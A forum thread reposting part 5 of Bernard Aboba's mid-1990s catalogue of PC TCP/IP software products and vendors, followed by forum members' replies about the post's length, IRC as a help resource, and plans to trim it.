Downright speculation
TCP/IP BOOT-PROM

The TCP/IP BOOT-PROM is a TCP/IP based Boot ROM available for about
34 Ethernet and Token Ring PC network controllers. It uses the protocols
BOOTP and TFTP to download the DOS operating system and network software
from a TCP/IP based servers like UNIX, NetWare, OS/2 or Windows NT.
Several network software like PC-NFS, PC/TCP, PC-Interface, B&W NFS,
LAN WorkPlace, NetWare, NetWare/IP, LanManager, TUN and other are supported
on the diskless client site.

The builtin application interface allows to access the ROMs TCP/IP stack
for building low cost terminals or downloading other operating systems
e.g. UnixWare.

Dirk Koeppen EDV-Beratungs-GmbH, Germany
Phone: +49 69 89 3000, Fax: +49 69 89 3004, mailto:dirk@incom.de


Downright Speculation
3Com TCP w/ DPA v2.0

3Com; (800)638-3266


Recommendation
Internet in a Box $99

After much fanfare, Internet in a Box has finally shipped. This
includes a special version of Ed Krol's book, alongside a suite
with Gopher, Mosaic, Telnet, Mail, and News. The installation
procedure is quite streamlined in that it sets up all the stack
as well as all the applications in one fell swoop. The PPP
implementation supports address negotiation.

Spry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300,
(800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com,
mailto:info@spry.com


Downright Speculation
AIR Series 3.0
50% discount on tradein of another package
AIR Mosaic $29.95

This includes Telnet, FTP (integrated with File Manager), tn3270, NFS,
Mosaic, SMTP, News, Gopher, and FTP/RCP servers, LPR, LPD, ImageView,
UUCode, X-Windows, SNMP, PPP, NetBIOS support, on-demand dial.

A demo version of AIR Mosaic is available via:
ftp://ftp.spry.com/vendor/spry/demo/...o/amosdemo.exe

Spry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300,
(800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com,
mailto:info@spry.com


Downright Speculation
Teemtalk for DOS
Teemtalk for Windows

Teemtalk supports connections over ARPA Services 2.0+ (HP), Beame & Whiteside,
CTerm (DEC), Int-6B (Novell NASI), Int-14, MS LanManager, Lan Workplace, LAT,
NetBIOS, Netmanage Chameleon, OSLAN (ICL), Pathway, PC-NFS, PCTCP,
TELAPI (Novell), and also support Windows Sockets, and regular or BIOS level
serial connections.

Emulations include VT 52/100/220/240/320/340/640, Viewdata
40/80/Split, DG200, HP2392A, Tek4014, Regis and W2119. Protocol support
Kermit and Xmodem. It also supports DDE.

Pericom, 1-609-895-0404 (US) and 0908-265533 in the UK.

*Suggestion
BW-NFS v3.1 for DOS & Windows

NFS is implemented as a TSR; the TCP stack is a device driver.
The package supports SLIP, NFS client, Telnet (VT220 and
3270 emulation), finger, talk, ftp, and SMTP mail. It also can act as a
server for telnet, FTP, NFS, finger, and lpd. The 3270 emulation is reportedly
OK. The BW-Connect ftp client supports dragging and droppping of files
between the server and client. This product cannot handle both a SLIP/PPP
and a network adapter interface simultaneously, since the stack does not
route.

Beame & Whiteside Software Inc.; 706 Hillsborough St., Raleigh, NC 27603-1655
(919)831-8989, (800)463=6637, tech: (919)831-8975, fax: (919)831-8990,
mailto:sales@bws.com

Suggestion
Chameleon v4.01
Internet Chameleon
ChameleonNFS v4.01 $400
ChameleonNFS v4.01 for NT

Chameleon is a Windows 3.x TCP/IP implementation that can handle FTP, TFTP,
Telnet (3270, 5250, ANSI, VT-52, VT100 and VT220 emulation), ping, SMTP, POP2,
NNTP and NFS (client and server) all in multiple windows, simultaneously. The
package also supports DNS via an implementation of BIND, as well as SNMP.
ChameleonNFS is compatible with the IPX/Link product for Netware from
NetManage. Most of the code resides in a DLL. Chameleon supports multiple
interfaces, and can route between them. It also supports SLIP, CSLIP, and PPP,
and has a built-in SNMP agent. The Internet Chameleon package only supports
dialup IP; for network adapter support, you need to purchase Chameleon.

NetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014,
(408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com

Downright speculation
Distinct Network Applications v3.02 $395
Distinct Software Development Kit $495
Network & Developer Combination $695

Distinct TCP/IP for Windows - Network Applications v3 integrates several
Windows based TCP/IP utilities under a single interface.

These include: Distinct Telnet which allows multiple concurrent Telnet
sessions on different remote hosts, allowing you to cut and paste
information between these systems as well as between the systems and your
local host. Distinct FTP is a drag and drop FTP which allows you to drag a
local or remote file to a local printer. Distinct FTP has both a client and
a server; this means that files can be also transferred by selected users
from PC to PC (password protection is included). TFTP provides file
transfer services to communications servers and routers that do not have
FTP. Network Monitor monitors host-to-host communication and data
transmission traffic and is able to capture network traffic to a file.


Distinct TCP/IP for Windows - Software Development Kit

This product is engineered as 100% DLL, and requires only 4 Kb DOS memory
for a driver. The product supports up to 64 concurrent sockets, and buffers
are allocated and deallocated as they open and close.

Includes three development kits:

Distinct TCP/IP for Windows - Berkeley-style Sockets (TCP, UDP, ICMP,
Telnet, FTP)

Distinct TCP/IP for Windows - Windows Sockets ver. 1.1

Distinct RPC - a complete ONC RPC/XDR toolkit for Windows (Client and
Server RPC over both TCP and UDP; includes RPCGEN)

Distinct Corporation;14395 Saratoga Avenue, Suite 120, Saratoga, CA 95070;
(408)741-0781, fax: (408)741-0795, mailto:chris@distinct.com

Distinct Corporation; P.O. Box 3410, Saratoga, CA 95070-1410;
(408)741-0781, mailto:mktg@distinct.com

Suggestion
Everywhere Access

This is a remote access package for TCP/IP, including support for telnet
server, FTP and Kermit transfers, VT100, VT220, VT300 emulation, password
security. Includes versions working with WATTCP as well as other
implementations.

Supro Network Software Inc.; P.O. Box 18, Warsaw, Ontario, Canada K0L-3A0;
(705) 652-1572, mailto:info@snsi.com

Downright Speculation
Fusion

Pacific Software; (800)541-9508

Downright Speculation
ICE/TCP

James River Group; 125 North First St., Minneapolis, MN 55401;
(612)339-2521, mailto:jriver@jriver.com


Downright Speculation
Lanera TCPOpen/Standard v2.2

Lanera Corporation; 516 Valley Way, Milpitas CA 95035; (408)956-8344,
mailto:lanera@netcom.com


Downright Speculation
Lantastic for TCP/IP

Artisoft, Inc.; 691 East River Road, Tucson, AZ 85704; (602)293-6363

Suggestion
LAN Workplace for DOS v4.1r8

Novell, Inc.; 122 East 1700 South, Provo, UT 84606; (800)772-UNIX


Downright Speculation
NS & ARPA Services v2.5

Hewlett-Packard; 19420 Homestead Rd., Cupertino, CA 94014; (408)725-8111


Recommendation
The Wollongong Group's PathWay Access

A family of complete IP Services for DOS/Windows, Macintosh, OS/2, and VMS
systems, as well as SNMP and X-400/X-500 products. Wollongong has been
providing IP solutions for over 14 years.

PathWay Access for DOS/Windows 3.0 - This product has been significantly
enhanced with the majority of changes being to the Windows applications,
emulations and remote access. Integrated into Windows, the
applications are Windows Sockets compatible. Support for all NOS, extensive
DBMS and third party support.

VT100-220, VT320-330, VT240-340, 3270 mods 2-5, 3179g, tek4010-4105, drag
& drop FTP client/server, LPR/LPD/IPR, NetBIOS, NDIS/ODI/PDS/ASI,
SLIP/CSLIP/PPP/X.25, MIB2 SNMP agent, Scripting, Graphical Remapping, NFS,
SMTP/IMAP/POP(MIME), NetNews reader.

Pricing: Many different pricing schemes exist for these products based on
customer requirements, from shrink-wrap bundles to expandable licenses that
can be added to in any number, with discounts based on accrued amount levels.
Aggressive educational discounts and trade-up pricing are offered.

PathWay Access (Single User-DOS/Windows or Mac) - $350
Client NFS module - $95
API - $200

Technically supported evaluations are provided free of charge to qualified
individuals. Also offered is a demonstration disk tour of PathWay Access 3.0
free and yours to keep.

The Wollongong Group; 1129 San Antonio Rd, Palo Alto, CA 94301;
800-872-8649 (Outside Cal), 800-962-8649 (In Cal), (519)747-9900
(Canada), +31 2503-24142 (Europe), (415)962-7134,
(415)962-7202, mailto:sales@twg.com


*Downright Speculation
JSB Multiview 4.01

JSB; 108 Whispering Pines Dr., Suite 115, Scotts Valley, CA 95066;
(408)438-8300

*Downright Speculation
Reflection TCP Suite 4.0

Reflection TCP includes ftp (client and server), lpr, and telnet. The
stack supports an SNMP agent.

Walker, Richer and Quinn; 1500 Dexter Ave. N., Seattle, WA 98109; (206)217-7500

*Downright Speculation
LAN Workgroup/NFS 4.2

This is the package to get if you're running NetWare. Includes support for
NFS (client), BOOTP (client and server), lpr/lpd, telnet, and NIS.

Novell; 122 E. 1700 S., Provo, Utah, 84606; (800)638-9273

Downright Speculation
PC-Interface Plus 2.0

PC-Interface Plus includes an ftp client reminiscent of the Windows File
Manager, a TinyTerm telnet client; and a repackaged version of Eudora for mail.

Locus Computing; 9800 La Cienega Blvd., Inglewood, CA 90301; (310)670-6500

Downright Speculation
PC-LINK for DOS
PC-LINKW for Windows

X LINK Technology; 741 Ames Avenue, Milpitas CA 95035; (408)263-8201, fax:
(408)263-8203, mailto:tom@xlink.com

Downright Speculation
TCP Pro

TCP Pro is a TCP/IP stack for Windows, Windows for Workgroups,
DOS, OS/2, and NT. The base package includes both Real Mode
and VxD version of the stack as well as support for WinSock 1.1, NetBIOS,
extended NetBIOS, NETCI (INT6B), and INT61 (FTP Software, Inc.) interfaces.

The stack also includes native NDIS and ODI drivers (not shims) and a
suite of appliations, including Telnet, Ping, FTP Client (Drag and Drop),
FTP Server, TFTP Server, and a News Reader. They also offer a VxD
Remote Access solution which includes a PPP/SLIP module and a Windows dialer.
SNMP MIB 2 and a DHCP client are also included. E-mail and a Web browser are
due in release v1.1, which will ship in December, 1994.

Steve Perricone, Network Telesystems; 3990 Freedom Circle, Santa Clara, CA 95054;
(408)562-7766, mailto:sperrico@ub.com

*Suggestion
PC-NFS v5.1 $395

PC-NFS from SunSoft (a Sun Microsystems business) includes a TCP/IP
stack, TCP/IP utilities under DOS and Windows, an NFS client, remote
printing support, SNMP, and Windows Sockets. Add-on packages support email
and advanced telnet. A Programmer's Toolkit is available which provides DOS
and Windows support for TCP/IP over sockets and XTI, as well as TIRPC, NIS
and supporting APIs.

SunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271
Also: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA),
+44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe),
+33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan)

*Suggestion
PC-NFSpro v1.1 $395

PC-NFSpro from SunSoft (a Sun Microsystems business) is a Windows-only
32-bit VxD product. It includes a TCP/IP stack, PPP, NetBIOS, and NFS
client (all VxDs), remote printing, SNMP, and Windows Sockets. Bundled
applications include VT320 telnet, email, FTP, and RSH/REXEC. Servers
are provided for print, FTP and telnet. DHCP and BOOTP are supported.
Driver support includes NDIS2, NDIS3, ODI, and packet drivers. Add-on
packages include 3270 and X Windows. On-line documentation is provided
on CD-ROM.

SunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271
Also: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA),
+44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe),
+33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan)


Recommendation
PC/TCP v2.2 $350
Kernel Only $200

PC/TCP v2.2 offers a solid implementation of TCP/IP for DOS, with some
Windows applications. It includes NFS for UDP or TCP, remote login
(telnet, rlogin, supdup) with a variety of terminal emulators, file
transfer (FTP, TFTP, rcp), electronic mail and news (pop2, pop3, pcmail,
mail, SMTP, NNTP), printing (LPR and print redirection) and informational
utilities (whois, ping, finger, host). Some kerberos support is available
to domestic customers. If used alongside ConcordCommunications Mapware
controllers, this product is capable of handling both OSI and TCP/IP
concurrently. 3270 support is OK.

It is available for Ethernet (DIX or 802.3), Token Ring, SLIP, PPP,
LocalTalk and X.25 interfaces, over packet drivers, ODI drivers, NDIS
drivers, banyan drivers, and ASI drivers.

This package does not route; you are therefore restricted to installing it
with PPP, SLIP or Ethernet, but not some combination of the above.

PC/TCP is incompatible with Stacker. As of version 2.2, the Windows
applications have been improved. New to Windows support is the ability to
mount and unmount NFS drives from within Windows, and to use PCNFSD printer
services from Windows.

The 2.2 manual includes a 6-page install guidelette, and now offers a
menu-driven installation and configuration program.

FTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;
(508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,
mailto:sales@ftp.com, http://www.ftp.com/

*Suggestion
PC/TCP OnNet 1.1 for DOS/Windows $350
PC/TCP OnNet 1.1 for DOS/Windows $450 (with PC/TCP)

This is a graphical package from FTP Software with a VxD TCP/IP
stack. It includes clients for FTP, Telnet, NFS, news, mail, finger,
DHCP, BOOTP, NetBIOS, SNMP, tar and lpr as well as an FTP server, Kerberos
support and support for packet or ODI drivers. The OnNet ftp client
supports dragging and dropping files between hosts.

There is a bug in the telnet vt-100/220
emulation which is fixable via ftp'ing a new version.

Features of the software (from Graham Kenville, mailto:graham@mitta.com ):
1. Provides a nice GUI based way to configure printers and drive
attachment which is pretty easy to use. Makes it possible
to automatically mount whatever drives you usually mount
each time you start Windows. You can provide a default user
name. You only have to enter the password once per session
to mount all drives.
2. You can set up any PC running PC-TCP/OnNet to be a print server
for PC's and Unix. The icon and setup for this is all there,
but I haven't tried it yet.
3. The telnet is pretty good, provides VT-100/200 & DEC character
support. Allows you to print screen, save scroll-back buffer
to disk or print it, you can set the number of scroll-back lines
up to (I think) 3000.
4. Provides a ping/traceroute utility which works ok.


FTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;
(508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,
mailto:sales@ftp.com, http://www.ftp.com/

*Downright Speculation
Acadia/VxD v1.0 ($256/user 10 user price, $395 single user)

Acadia/VxD consists of the TCP, IP, and UDP protocols and a set of Windows
and DOS utilities including FTP, telnet, SMTP, and POP3 client and server
mail with MIME support, TN3270, Winsock interface, NFS client and server, and
NetBIOS. Acadia/VxD uses _no_ conventional memory and provides data transfer
rates exceeding 600 Kbytes/Sec. Services such as NFS and lpd are started from
DOS. The ftp client does not support dragging and dropping between hosts, and
the Telnet application is licensed from Sun and is therefore part of PC-NFSpro.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
Piper/IP ($199/user 10 user price, $375 single user)

Piper/IP is a complete TCP/IP suite of DOS and Windows applications. Piper/IP
runs in only 6K of memory, and provides exceptional performance with data
transfers exceeding 500 Kbytes per second. Piper/IP is network installable,
with a network install taking about 5 minutes total time. Piper/IP supports
all popular network drivers and operates with ODI, NDIS, VINES and Packet
Drivers, and has built in support for SLIP and PPP.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
Developer's Kit ($475)

The Ipswitch Developer's Kit for Acadia/VxD, Catipult, Piper/IP, and
Vantage/IP consists of Ipswitch's tools for developing 16- and 32-bit
Berkeley Sockets-based applications. The Ipswitch Developer's Kit is
compatible with Microsoft C 5.1, C 6.0, C/C++ 7.0, Visual C 1.5, 2.0,
and Borland C/C++ 3.1 and 4.0.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
Catipult (30 user gateway license $2975)

Catipult is a TCP/IP application gateway for NetWare. Catipult lets NetWare
workstations run TCP/IP applications concurrently with NetWare to communicate
with workstations, mini computers mainframes and other hosts running UNIX or
any of a wide variety of operating systems.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
Vantage/IP ($256/user 10 user price, $395 single user)

Vantage/IP provides TCP/IP connectivity for OS/2 workstations with complete
OS/2 LAN integration and support for all popular APIs.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

IMail, INews, and WFTP, which ship with Acadia/Vxd and Piper/IP are also
available as separate products.

*Downright Speculation
IMail ($41.25 from the web site, $55 otherwise)

IMail is a complete TCP/IP mail system for Windows. Both SMTP and POP3
clients and servers are included. IMail has multiple mailboxes, powerful
filtering, and search capabilities, MIME support, file import/export, plus
personal and shared address books and aliases. IMail has an intuitive,
powerful interface that makes it easy to read, write, maintain, and archive
messages. IMail is compatible with any Winsock 1.1-compliant TCP/IP product.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Recommendation
WFTP ($38/user 10 users, $45 single user)

WFTP is a Windows FTP client with drag and drop file transfer, intuitive
directory and file displays, firewall protection, and support for more than
twenty types of remote file systems. WFTP is compatible with any Winsock
1.1-compliant TCP/IP product.

Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

*Downright Speculation
SuperTCP v3.00r $495
SuperTCP Pro v1.1
SuperHighway Access for Windows

SuperTCP supports telnet (3270, VT100, VT102, and VT220 emulation), talk,
SMTP, ftp, and ping. SuperTCP supports both
TCP/IP and Novell IPX protocols, as well as SNMP.

It is written as a DLL, although a TSR version of the protocol stack is
also available for those who want to use DOS as well. Network statistics
(arp, ICMP messages, etc.) are available.

The WinTapestry application is a single application supporting WWW, Gopher+,
CSO, Archie, WAIS, GIF and JPEG image viewers, in addition to an Internet
Organizer. WinTapestry offers multi-session support. The mail application
supports MIME, personal and shared address book, prioritization of messages,
sorting by date or subject, hierarchical folders, rule-based message filtering
and offline creation or reading of mail. It also supports distribution lists,
and automatic forwarding. The FTP application supports drag and drop
transfers. The Telnet application supports VT100 emulation. There is also
an NNTP newsreader.

SuperTCP Pro includes clients and servers for NFS, telnet, lpr/lpd and
FTP as well as an X server. The package comes with both a CD-ROM and
floppy disks. Simultaneous use of SLIP/PPP and network adapter
interfaces is supported.

SuperHighway Access for Windows is a dialup version of the Super-TCP
package. It supports SLIP/CSLIP/PPP and is compatible with Windows
Sockets v1.1. it includes scripts for Internet Service Providers.

Frontier Technologies;10201 North Port Washington Road, Mequon, WI 53092,
(414)241-4555, fax:(414)241-7084, mailto:info@frontiertech.com,
ftp://ftp.FrontierTech.COM/, Frontier BBS: (414)241-7083


*Downright Speculation
Intercon TCP/Connect II

This package is the same as SuperTCP NFS with the addition of a Gopher client,
and without X support.

Intercon Systems; 950 Herndon Pkwy., Herndon, VA 22070; (703)709-5500

Downright Speculation
TCP/IP for DOS v2.10

IBM; Dept. E15, P.O. Box 12195, Research Triangle Park, NC 27709;
(800)IBM-CALL


Downright Speculation
TCP/IP Utilities for LanManager v1.0
Windows for Workgroups TCP/IP
Windows NT

Microsoft; One Microsoft Way, Redmond WA 95052-6399; (206)882-8080

Downright Speculation
TCP/2 for DOS

Essex Systems; (508)532-5511


Downright Speculation
TTCP v1.2r2

Turbosoft Pty Ltd; 248 Johnston St., Annandale, NSW Aus. 2038; +61 2 552
1266, mailto:info@abccomp.oz.au


OS/2

*OS 3.0

Rumour has it that this includes a bunch of bundled applications, including
a graphical Web browser, a Gopher, FTP, Telnet, Mail, and News.

IBM, (800)426-2968, (800)426-2255


XWARE


Downright Speculation
Hummingbird Communications

Hummingbird's PC X Server includes a TCP/IP stack. They offer PC
X servers for DOS, Windows, OS2, and Windows NT. These work over
network adapters, as well as serial lines, at which they claim
to be especially good.

Features include: 32-bit, X11R5, easy installation, network installation,
remote network management and configuration, BASIC scripting language,
local Motif window manager, telnet, drag and drop FTP, development kit
for porting X apps to the PC platform, line printer deamon, support
for dozens of other TCP/IP stacks, IPX/SPX, and DECnet, and telephone line access.

The hardware requirements are a 386 or better, Windows 3.1 or better,
and 4mb of RAM. (for a network connection, you will need a network
card)

Hummingbird Communications, Ltd.; 2900 John Street, Markham, Ontario, Canada
L3R 5G3; (905)470-1203, fax: (905)470-1207, email: colin.webster@hcl.com


Suggestion
PC-Xview

PC-Xview is available for DOS or Windows, supporting use of X over the
network. It also supports NCD's Xremote protocol that allows X to run over
a modem much faster than could be achieved running a standard X package
over SLIP or PPP.

Network Computing Devices, Inc.; (800)793-7638

Downright speculation
XVISION $449

XVision allows X applications to run under Windows. You have a choice of
running each X app in its own Window, or all X applications within one big
Window.

VisionWare, Ltd.; 57 Cardigan Lane, Leeds, England; 44-0-532-788858,
(800)222-0550, fax:44-0-532-304676

Downright Speculation
DesQView X

DesQView X integrates networks of DOS and UNIX machines using the X-Windows
protocol, allowing DOS machines to act as X-Windows clients and servers.

Quarterdeck Office Systems; 150 Pico Boulevard, Santa Monica, CA90405;
(213)392-9851, fax:(213)399-3802

Development Software
Epilogue Technology

Includes source code. mailto:info@epilogue.com, fax: (505)271-9788

Spider Systems

Available for many architectures, mailto:ian@spider.co.uk, fax:
44-31-555-0664

Marben Produit
TCP/IP Source

available, fax: 33-1-47.72.55.00

Network Research
FUSION
Source available, fax: 1(805)485-8204


------------------------------ END OF PART 5 ------------------------

Please send comments to:

Bernard Aboba
Author of:
The Online User's Encyclopedia, Addison-Wesley, 1994
The PC-Internet Connection, Publisher's Group West, due in 1995
mailto:aboba@netcom.com
FTP archive: ftp://ftp.zilker.net/pub/mailcom/
WWW page: http://www.zilker.net/users/internaut/index.html

[thejag]

that is seriously an overflow of info... just make a text file and attach it.. it took my browser a good 30 seconds to load all that... i did read here and there but most of that is very introductory but a good read indeed.. but do me a favor, edit it to an attached .txt..

[Juridian]

Speaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.

[gore]

Originally posted here by Juridian
Speaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.

I didn't write that part. The email address at the bottom is of the author. I'm thinking you took that as a shot at you, but it wasn't. I already told you what I thought about egos.

[Juridian]

*shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.

[gore]

Originally posted here by Juridian
*shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.

I agree with that, IRC can be a great resource if the check list you made is taken into consideration. I'm hoping to make this post a little different. I think I'm going to chop the "halves" in half again. I had all of this is one post at first and it was NOt working well. So I made it into two posts, then the final 3.

It was hard as hell trying to sort through the over 3,000 text files I have found and written to put this together, but I think it's good to have a big ass thread where someone wityh some free time can learn alot about things in TCP/IP including a bit on security at the same time.

That's why I mainly added the TCP attack info. It's slightly dated but can give people an idea of how the security aspect works out without just printing them instructions.

While we have our lil convorsation going, how do you feel I did on this giant post J? I know if I chop it down I'll probably redo how it's laid out, it looks slightly messy to me. I just wanted to be sure it would post.

[Juridian]

From what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...

[gore]

Originally posted here by Juridian
From what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...

Heh, yea I think this thing needs a clean up job. The size is huge but I wanted to get enough in from each section to actually get a good reaction on what was good and what can be taken out without spoiling the over all document. I have this on my HD in two peices right now going over it to see what could me trimmed.